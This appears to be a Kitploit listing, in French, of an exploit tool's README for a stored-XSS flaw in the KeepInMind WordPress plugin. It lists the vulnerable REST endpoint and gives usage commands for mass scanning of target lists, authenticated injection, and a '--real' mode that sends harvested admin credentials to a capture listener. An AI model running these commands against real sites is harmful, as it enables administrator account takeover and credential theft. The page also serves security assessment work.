WordPress-KeepInMind-CVE-2026-9271-Exploit — Outil d'évaluation autorisé de XSS stocké pour CVE-2026-9271 dans le plugin WordPress KeepInMind. Détecte les versions vulnérables, injecte des payloads de test sûrs et prend en charge l'analyse en masse avec des rapports SQLite. | Kitploit

Attribut	Valeur
CVE ID	CVE-2026-9271
Vecteur d'attaque	Authentifié (Contributeur+) → XSS stocké → Impact administrateur
Impact	XSS dans le navigateur de l'administrateur ; prise de contrôle potentielle du compte sur les installations vulnérables
Produit concerné	WordPress KeepInMind / KeepInMind Dashboard Notes
Versions concernées	≤ 0.8.4.2 (corrigé dans 0.8.4.3+)
Type de vulnérabilité	Cross-Site Scripting stocké (XSS)
CWE	CWE-79 (Mauvaise neutralisation de l'entrée lors de la génération de la page Web)

Surface	Rôle
`/wp-json/keepinmind/v1/notes`	API REST utilisée pour créer/lire les notes
`/wp-admin/`	Tableau de bord d'administration où les notes stockées peuvent s'afficher
Chemin du plugin	`/wp-content/plugins/keepinmind-dashboard-notes/`

Capacité	Description
Détection du plugin	Vérifie les chemins d'installation et les chaînes de version de KeepInMind
Version de WordPress	Extrait les métadonnées de générateur / version lorsqu'elles sont disponibles
Mode test sécurisé	Marqueur de superposition par défaut prouvant le XSS sans capturer d'identifiants
Évaluation authentifiée	Se connecte avec des identifiants Contributeur+ pour une injection REST complète
Nettoyage de la charge utile	Supprime les notes injectées après l'évaluation
Scan en masse	Scan multi-threadé de listes d'URL pour le plugin + version vulnérable
Historique SQLite	Stocke les évaluations dans `kim_guardian.db`
Rapports texte	Écrit des rapports horodatés dans `reports/`
Serveur de capture	Écouteur HTTP local facultatif pour les exercices de capture d'identifiants en laboratoire
Interface Web	Tableau de bord Flask facultatif (mode `web`)

Capacité	Description
Journalisation détaillée	Débogage fichier + console dans `logs/`
Prise en charge du proxy	Achemine le trafic via Burp ou d'autres proxys HTTP
Délai d'attente configurable	Délai d'attente par requête (30 s par défaut)
Pool de workers	Concurrence ajustable pour les scans en masse

cd /path/to/exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask

python3 CVE-2026-9271.py --help

# Help / modes
python3 CVE-2026-9271.py --help

# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' -v

# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt

# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20

# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000

# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080

# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000

# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  -a http://127.0.0.1:5000 \
  --real \
  -v

# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt

# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3

Mode	Description
`assess`	Évaluation KeepInMind sur une seule cible
`bulk`	Scan multi-cibles du plugin / de la version
`capture`	Serveur HTTP local de capture d'identifiants
`web`	Interface Web Flask facultative
`db`	Lister les évaluations stockées

Argument	Défaut	Description
`url`	requis	URL WordPress cible
`-u`, `--username`	—	Nom d'utilisateur WordPress (Contributeur+)
`-p`, `--password`	—	Mot de passe WordPress
`-a`, `--attacker`	—	URL de base du serveur de capture (simulation de laboratoire)
`-t`, `--test`	activé	Préférer la charge utile de test sécurisée
`-r`, `--real`	désactivé	Activer la charge utile d'attaque de laboratoire (nécessite `--attacker`)
`--no-cleanup`	désactivé	Laisser les notes injectées en place
`-v`, `--verbose`	désactivé	Journalisation détaillée / débogage
`--timeout`	`30`	Délai d'attente de la requête (secondes)
`--proxy`	—	URL du proxy (p. ex. `http://127.0.0.1:8080`)

Argument	Défaut	Description
`-f`, `--file`	—	Fichier d'URL (une par ligne)
`-u`, `--urls`	—	URL séparées par des virgules
`-w`, `--workers`	`5`	Taille du pool de threads
`-o`, `--output`	`bulk_scan_results.txt`	Chemin du rapport

Symptôme	Ce qu'il faut essayer
Échec de l'authentification	Confirmez les identifiants Contributeur+ ; vérifiez `/wp-login.php` ; utilisez `-v`
Plugin non détecté	Vérifiez le chemin/nom de KeepInMind ; essayez le mode détaillé
L'injection REST échoue	Confirmez l'authentification + le nonce ; inspectez avec `--proxy` via Burp
Délai d'attente / erreurs de connexion	Augmentez `--timeout` ; vérifiez le réseau / TLS / proxy
Aucune vulnérabilité en mode test	Confirmez la version ≤ 0.8.4.2 ; assurez-vous que les notes s'affichent pour l'administrateur
Flask manquant en mode `web`	`pip install flask`
BeautifulSoup manquant	`pip install beautifulsoup4`

exploit/
├── CVE-2026-9271.py      # KIM-Guardian Pro (v1.0)
├── requirements.txt      # Python dependencies
├── README.md             # This file
├── kim_guardian.db       # SQLite assessment history (generated)
├── logs/                 # Runtime logs (generated)
├── reports/              # Assessment text reports (generated)
└── venv/                 # Local virtualenv (optional)

Educational / Defensive Use Only

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is granted to use this software for authorized security research,
education, and defensive assessment only.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Chemin	Objectif
`/`	Page de statut du serveur de capture
`/capture`	Point de terminaison POST pour les soumissions de formulaires
`/captured`	Entrées capturées récentes (revue de laboratoire)

Argument	Défaut	Description
`--host`	`127.0.0.1`	Adresse de liaison
`--port`	`8080`	Port d'écoute

Argument	Défaut	Description
`--list`	désactivé	Lister les évaluations récentes
`--limit`	`10`	Nombre maximal de lignes à afficher

Rôle	Nom
Auteur de l'outil	Sudeepa Wanigarathna
CVE	CVE-2026-9271
Outil	KIM-Guardian Pro v1.0
Script principal	`CVE-2026-9271.py`
Licence	Usage éducatif / défensif

WordPress-KeepInMind-CVE-2026-9271-Exploit

Populaires

KIM-Guardian Pro

CVE-2026-9271 — Évaluation du XSS stocké de WordPress KeepInMind

Table des matières

Vue d'ensemble

Détails de la vulnérabilité

Surfaces concernées

Déroulement de l'évaluation (aperçu)

Fonctionnalités

Fonctionnalités principales

Contrôles opérationnels

Installation

Prérequis

Configuration

Dépendances principales

Démarrage rapide

Guide d'utilisation

1. Afficher l'aide

2. Évaluation sécurisée (recommandée)

3. Ignorer le nettoyage

4. Proxy + délai d'attente

5. Simulation d'attaque en laboratoire (environnements autorisés uniquement)

6. Scan en masse

7. Historique de la base de données

8. Interface Web

Référence des commandes

Général

assess

bulk

capture

web

db

Résultats et rapports

Console

Rapports texte

SQLite

Journaux

Champs du rapport de scan en masse

Dépannage

Procédure de débogage

Structure du dépôt

Historique des versions

v1.0.0 — Version initiale

Avis de non-responsabilité

Auteur et crédits

Licence

`assess`

`bulk`

`capture`

`web`

`db`